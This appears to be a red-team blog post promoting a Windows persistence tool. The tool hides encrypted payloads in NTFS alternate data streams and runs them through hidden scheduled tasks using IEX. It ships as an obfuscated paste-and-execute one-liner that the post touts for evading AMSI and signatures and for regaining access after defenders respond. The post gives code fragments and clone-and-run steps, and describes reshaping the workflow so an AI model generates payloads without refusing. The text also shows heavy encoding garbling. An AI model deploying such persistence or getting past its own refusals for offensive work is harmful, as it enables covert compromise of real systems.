Home | About | Current Focus | Blog | Upcoming Research | Backburner | Contact

β‰‹πŸ‘» Apparition Delivery System v2.0 --- From Monolithic Scripts to Minimal Command Generation πŸ‘»β‰‹

February 03, 2026 β€” redteam, windows, ads, ntfs, apparition


β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—    β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—
β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘    β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•
β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• 
β–ˆβ–ˆβ•‘β–„β–„ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—  β•šβ–ˆβ–ˆβ•”β•  
β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   
 β•šβ•β•β–€β–€β•β•  β•šβ•β•β•β•šβ•β•β• β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•   β•šβ•β•   

=============

ADS-Dropper v2.0: From Monolithic Scripts to Minimal Command Generation

How we rebuilt our ADS persistence tool to work better with LLMs, reduce detection surface, and unlock new deployment workflows

Introduction & Context

If you’ve been following my NTFS research lately, you already know I have a bit of a soft spot for Alternate Data Streams. They’re old, under-loved, and still surprisingly useful when applied carefully and responsibly.

The Apparition Delivery System (ADS) started as a practical red team persistence framework built around a few core ideas:

  • πŸͺ„ NTFS Alternate Data Streams for hiding payloads

  • ⏰ Scheduled Task persistence

  • πŸ” AES-256 encryption, with host-derived keys

  • πŸ§ͺ Designed for CCDC competitions and real-world red team engagements

  • 🧠 Built by defenders-turned-offenders who care about tradecraft

What ADS-Dropper v1.0 Did Well

Version 1.0 worked. It worked very well.

You uploaded a PowerShell script, ran it, and it handled:

  • Configuration generation

  • Stream creation

  • Encryption

  • Task registration

  • Payload execution

All in one go.

The Problem With v1.0

The issue wasn’t functionality β€” it was ergonomics and OPSEC:

  • ❌ ~800-line monolithic .ps1 file on disk

  • ❌ Large static script = easy signature target

  • ❌ Required file transfer to target

  • ❌ Painful to use with LLM-based tooling

  • ❌ Not friendly to copy/paste or β€œone-shot” workflows

As LLM-assisted red teaming became more practical (Claude computer use, ChatGPT generating payloads, etc.), it became obvious:

Our tooling needed to adapt.

So… we rebuilt it.

1. The Old World (v1.0 – main)

text

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”

β”‚ ADS-Dropper.ps1 (monolithic)Β  Β  Β  Β  β”‚

β”‚ - Config generation Β  Β  Β  Β  Β  Β  Β  Β  β”‚

β”‚ - ADS creationΒ  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  β”‚

β”‚ - EncryptionΒ  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  β”‚

β”‚ - Persistence setup Β  Β  Β  Β  Β  Β  Β  Β  β”‚

β”‚ - Execution Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  β”‚

β”‚ Total: ~800 lines Β  Β  Β  Β  Β  Β  Β  Β  Β  β”‚

β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

         ↓

Β Β Β Β scp /path/to/ADS-Dropper.ps1 target

         ↓

Β Β Β Β powershell -ep bypass -f ADS-Dropper.ps1

You can already feel the detection surface breathing down your neck.

2. The New World (v2.0 – test)

text

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” Β  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”

β”‚ ADS-Dropper.ps1Β  Β  Β  Β  Β  Β  β”‚ Β  β”‚ ADS-OneLiner.ps1 Β  Β  Β  Β  β”‚

β”‚ (Core logic) Β  Β  Β  Β  Β  Β  Β  │◄──│ (Command generator)Β  Β  Β  β”‚

β”‚ - Config generationΒ  Β  Β  Β  β”‚ Β  β”‚ - Calls ADS-DropperΒ  Β  Β  β”‚

β”‚ - RandomizationΒ  Β  Β  Β  Β  Β  β”‚ Β  β”‚ Β  in -GenerateOnly modeΒ  β”‚

β”‚ - Encryption helpers Β  Β  Β  β”‚ Β  β”‚ - Builds minimal cmdsΒ  Β  β”‚

β”‚ - Stream name encoding Β  Β  β”‚ Β  β”‚ - Base64 encodes Β  Β  Β  Β  β”‚

β”‚ Runs on: Linux OR WindowsΒ  β”‚ Β  β”‚ Runs on: Linux onlyΒ  Β  Β  β”‚

β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ Β  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

                                           ↓

Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Generates ~30-line one-liner

                                           ↓

Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Paste into any PowerShell session

Zero file upload. Zero big .ps1 on disk. Pure paste-and-pwn.

3. Key Technical Wins (and the pain that got us there)

Cross-Platform Path Hell

Generating Windows paths from Linux is a special kind of suffering.

PowerShell

if ($env:ProgramData) {

Β Β Β Β # Running on real Windows

Β Β Β Β $hp = Join-Path $env:ProgramData β€œSystemCache.dat”

} else {

Β Β Β Β # Running on Linux (or WSL, GitHub Actions, Claude, etc.)

Β Β Β Β $hp = β€œC:\ProgramData\SystemCache.dat”

}

The Great String-Escaping War of 2025

We fought four rounds with PowerShell’s parser. Here’s the tombstone of Attempt #3:

PowerShell

Attempt 3 – died screaming

$minimalScript += β€œβ€˜$decoyContent’ sc "$hp:Zone.Identifier” -Force”

The winner? ${} variable delimiter syntax. Beautiful.

PowerShell

$minimalScript += β€œβ€˜$decoyContent’ sc "${hp}:Zone.Identifier`” -Force”

PowerShell 2.0 Compatibility (yes, really)

We dropped -Raw and went full caveman:

PowerShell

Before (PS3+)

$content = Get-Content $path -Raw

After (works on PS2)

$content = (gc $path) -join [char]10

Scheduled Task Command – Now With 100% Less Quote Trauma

PowerShell

Old way – pray you never have to read this again

$a = New-ScheduledTaskAction -Argument β€œ-NoP -W Hidden -C "IEX([IO.File]::ReadAllText('$adsPath'))””

New way – variables pre-computed

$adsPath = $hp + β€˜:’ + $sn

$cmd = β€œIEX((gc β€˜$adsPath’)-join[char]10)”

$a = New-ScheduledTaskAction -Argument β€œ-NoP -W Hidden -C $cmd”

4. New Capabilities Unlocked

LLM-Powered Deployment

I can now literally tell Claude:

β€œRun ADS-OneLiner.ps1 with these params and give me the final one-liner”

…and it just works. No file uploads, no context limits, no β€œsorry I can’t execute that script” nonsense.

Detection Surface: Before vs After

Aspect

v1.0

v2.0

Files on disk

800-line .ps1

None (paste & execute)

AMSI surface

Huge

~30 lines of obfuscated code

Stream names

Static

Randomized per run

OPSEC

β€œHey look at this big script”

β€œWhat script?”

Manifest-Based Recovery

Every deployment now drops a tiny JSON manifest on the operator’s machine:

JSON

{

  ”Timestamp”: β€œ2026-02-03 01:16:38”,

  ”HostPath”: β€œC:\ProgramData\SouYlGxk”,

  ”StreamName”: β€œqCtGDhkU”,

  ”TaskName”: β€œWinSAT_VNXEMY”,

  ”PayloadHash”: β€œa3f5b2c1…”

}

One grep later and you know exactly where your shell lives.

5. Testing (with maximum memes)

Test payloads included:

  • Basic β€œPwned with love” message

  • Encrypted C2 beacon

  • Red Team Kitty (because why not)

PowerShell

Verification commands you can actually run

Get-Item C:\ProgramData\SouYlGxk -Stream * Select Stream, Length

$content = Get-Content β€œC:\ProgramData\SouYlGxk:qCtGDhkU” -Raw

$content.Substring(0,50) # should be base64 garbage

Get-ScheduledTask -TaskName β€œWinSAT_VNXEMY”

And yes, the kitty payload executed perfectly:

text

/\_/\

Β Β Β ( o.o )

Β Β Β Β > ^ <

Β Β Red Team Kitty says:

Β Β Your persistence is purrfect!

Β Β Keep those shells alive! ΰΈ…^-ﻌ-^ΰΈ…

6. Trade-offs & Honest Talk

Wins

  • No file uploads

  • LLM-native

  • Tiny footprint

  • Randomized everything

Pain

  • Debugging is now β€œrun on Linux β†’ copy β†’ paste on Windows β†’ cry”

  • Escaping complexity went up (but worth it)

  • Still requires PowerShell 2.0+ on target

7. Real-World Use Cases

CCDC speed-run

Blue team just nuked your last beacon β†’ social-engineer a user β†’ paste 30-line one-liner β†’ persistence back in <30 seconds.

Red team engagement

You have a 45-second window in an existing PS session β†’ generate one-liner on attacker box β†’ paste β†’ clean exit β†’ zero artifacts.

8. Future Roadmap

  • Smarter stream name generation (avoid Zone.Identifier patterns)

  • WMI + Registry persistence options

  • Sliver/Metasploit stager integration

  • Auto-cleanup script generator

  • WinRM/PSRemoting remote execution mode

9. Try It Yourself

Bash

1. Clone the test branch

git clone https://github.com/Qweary/Apparition-Delivery-System.git

2. Generate a payload (Linux or WSL)

./ADS-OneLiner.ps1 -HostPath β€œC:\ProgramData\Cache.dat” -StreamName β€œpwned” -Payload β€œWrite-Host β€˜ADS v2.0 says hello’”

3. Copy the giant base64 string it spits out

4. Paste into any PowerShell session on target

Repo: https://github.com/Qweary/Apparition-Delivery-System

Closing Thoughts

In the age of AI-assisted red teaming, our tools need to be as adaptable as our tactics. ADS-Dropper v2.0 isn’t just about hiding payloads β€” it’s about meeting the LLM where they are, and turning conversational AI into a force multiplier for offensive operations.

Stay curious, stay ethical, and keep those shells alive! πŸ±β€πŸ’»

β€” qweary

© 2025 Qweary β€” Security Research With Purpose

LinkedIn | Email Me